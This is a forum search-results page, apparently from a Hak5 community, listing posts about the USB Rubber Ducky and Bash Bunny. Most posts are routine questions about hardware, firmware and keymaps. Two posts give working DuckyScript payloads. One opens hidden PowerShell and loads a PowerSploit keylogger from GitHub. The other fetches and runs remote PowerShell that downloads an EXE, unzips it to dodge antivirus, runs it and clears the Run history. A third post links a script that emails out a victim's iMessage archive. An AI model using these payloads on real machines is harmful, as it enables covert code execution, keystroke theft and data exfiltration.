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Found 14 results

  1. Sw1tchbl4d3

    USB Rubber Ducky SD card

    Hello Hackers I was wondering if the usb rubber ducky requires a certain standard of micro sd card, what i mean by this is, does it take a certain storage size and does any brand of micro sd card work with the ducky as i accidentally corrupted it beyond repair XD thanks for your help in advance . Kind regards, and hack all the things. SW1TCHBL4D3
  2. Ensign

    Demonstration

    Hi, I have just bought my first Rubber Ducky. And have a question. My intended use is one of awareness. To show what is possible and how a machine can be vulnerable in order to provoke thought and discussion. I know that I can write a payload and once inserting the ducky into the target machine it will execute. My question is, could I write a payload and pre position the file onto a target machine so that I may call the file either remotely or by a nefarious shortcut activated by the locally logged on user? The benefit to me if I can do this is that I can have multiple payloads, showing different things, without having to use multiple Rubber Ducky and inserting the USB each time. Thank you and I look forward to your replies.
  3. GunZofPeace

    Powershell keylogger in seconds

    Hello friends! Today I am going to show you a very simple 11 line USB Rubber Ducky Keylogger hack using powershell! Super simple. What this does is it starts a powershell as a hidden window, so the actual application will not be visible on the taskbar. Only through the Task Manager. Then it downloads a simple script from github into memory, then executes the keylogger command. The second to last line, after "-LogPath" input the location you want it to place the keylog file. And the "-Timeout" command is how many minutes you want to command to run. Here is the code: DELAY 500 GUI r DELAY 50 STRING powershell -WindowStyle hidden ENTER DELAY 100 STRING IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-Keystrokes.ps1') ENTER DELAY 300 STRING Get-Keystrokes -LogPath C:\Users\Garrett\Desktop\testing123.txt -Timeout 1 ENTER Of course, go to the www.ducktoolkit.com and encode it. Comment any suggestions / thoughts! I will be posting more scripts as I go. Also, I am working on a script to email the keylog file to your email. Will upload once I get that working. Hope you enjoy!
  4. Hi, I got this bash bunny for a while now, and i know there is a few new features even tho it seems dead, is there a way for the bunny to detect the keyboard language and then set itself to send it in the good language ? Thank you
  5. Introducing the latest Composite Firmware - Codename : The Twin Duck The Ducky primarily acts as a USB Mass Storage Device, and on a click of the button will start emulating a Keyboard. Its multi-OS, multi-lingual and comes in three flavours: c_duck_v2.hex - Supports DuckyScript as HID payload, triggered automatically and on GPIO (limited instructions) c_duck_v2_S001.hex - Triggered on CAPS/NUM/SCROLL LOCK c_duck_v2_S002.hex - Triggered on Ducky's GPIO only! Depending on your circumstances, you may want to use either one of these available firmwares. Downloads http://code.google.c.../downloads/list Please test and post feedback here. Snake
  6. Casetti

    Help

    Hello I recently purchased a USB Rubber Ducky and I soon flashed it with twin duck. I then a script on the SD card and plug it in to test the payload. The ducky is just flashing from Green to red countinously. A little help would be great. Thank you, Cassetti
  7. How does one get the USB Rubber Ducky to mimic ALT PAUSE b, all pressed at the same time? Seems like right now it can only mimic one other key or char with ALT.
  8. wiredbrother

    iMessage's Archive to Email OS X

    Hello! Thought some of you might find this useful. It is simply a script that retrieves the iMessages archive and sends it over email. The code is a bit long and can probably be sized down and made "better". I would love some feed back on it as this is my first script. Enjoy -wiredbrother https://pastebin.com/XZrcJu0s
  9. Dave-ee Jones

    Q BACKSPACE?

    Is this a thing? There's no documentation about it...? Alternative (preferably just use backspace, but this could work...): # One backspace Q LEFTARROW Q DELAY 100 Q DELETE Also, thought I should mention in the readme.txt file in the 'docs' folder on the Bunny, there are two 'SPACE' commands listed in the Ducky Script area. Maybe one of those was supposed to be BACKSPACE? Though the command doesn't work..
  10. dot-iso

    duck_it.sh

    Hey there Hak5 community and fellow Rubber Ducky users! I'm a MacOS user and a beginner when it comes to coding, but I came up with a little bash script to help speed up the encoding process. It's nothing fancy. When I was writing a payload and having to encode then replace the file on the microSD and all that - it was getting a bit tedious. I call it duck_it. It basically takes your scripts as .txt files, encodes them, and transfers them to your microSD card and ejects the card. https://github.com/dot-iso/duck_it I'm new to Bash and GitHub, so there may be some n00b stuff. I'm sure there's a lot of room for improvement
  11. Hello, I installed the Twin Duck firmware a few days ago. I used the Ducky Flasher for flashing, so far so good. Today I wanted to restore the original firmware, unfortunately without success. The Ducky Flasher reports "Error opening the file. Something went wrong with creating the memory image." What did I do wrong ? is there a chance to restore the Ducky? Thanks in advance
  12. How does it work / what is it? I have just found one of the fastest ways of executing as much PowerShell code as you want using the USB Rubber Ducky! This script works by grabbing your PowerShell code from an external website. The code the ducky inputs is only 93 Characters long which takes the ducky only around 2 seconds to input. Tutorial: First, you will need a website to upload your .TXT file with all the PowerShell code you wish to execute. You can use a website such as hostinger or 000webhost to create this file. Although, remember these servers may not have 100% uptime. Script for website: The code on my website looks something like this... Add-Type -AssemblyName System.IO.Compression.FileSystem function Unzip { param([string]$zipfile, [string]$outpath) [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath) } $path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" $arr = (Get-Item -Path $path).Property $url = "www.linkToEndPayload" $output = "$env:temp/test.zip"; $out = "$env:temp/Remake.txt"; Remove-Item -Path $output Invoke-WebRequest -Uri $url -OutFile $output Unzip $output "$env:temp/" Rename-Item -Path $out -NewName "Remake.exe" Start-Process -FilePath "$env:temp/Remake.exe" foreach($item in $arr) { if($item -ne "MRUList") { Remove-ItemProperty -Path $path -Name $item -ErrorAction SilentlyContinue } } This code downloads the .EXE payload (Which is stored in a .ZIP file.) We will be running this file on our subjects system. Then the code uses an imported C# library to extract a. ZIP file which allows us to bypass a web protection software called Sophos from blocking the .EXE that we are trying to download. The file is unzipped and then the .EXE is run. Finally, the code deletes the run box history that the ducky creates. Finally, we have to setup the ducky. The ducky simply grabs the above code with a quick web request and then executes it. The code is as short and simple as this... Script for ducky: DELAY 500 GUI r DELAY 100 STRING powershell -W Hidden -Exec Bypass $a = Invoke-WebRequest www.linkToPowershellCodeAbove.com/script.txt; Invoke-Expression $a ENTER That's it! Very fast powershell execution. You can have as much code as you want on the script website. The only disadvantage to this code is that you must be connected to a internet connection. PS: I'm not very good at PowerShell Scripting
  13. I want to build a USB rubber ducky simulator using python. How Can I simulate keyboard presses in python? Can someone point me in the right direction please? In an ideal world I would love to develope a suite of tools that can be accessed from a GUI to configure/test and monitor Hak5 gear, but sadly this maybe beyond my capabilities :-(
  14. RazerBlade

    DUCKY_LANG problems

    Hello! I have run into a problem on the new 1.1 Firmware for the BashBunny! The problem is that I am not able to use a diffrent keymap than US, in this case SE. Before you sat the languages by QUACK SET_LANGUAGE se but know according to the new readme in the docs folder you set the languages by DUCKY_LANG=us. With and without QUACK in front of it I don't get it to work. I have copied all the .json languages files from ducky installer to the languages folder, maybe the problem is that I have not installed the languages files correctly. Help would be appreciated.
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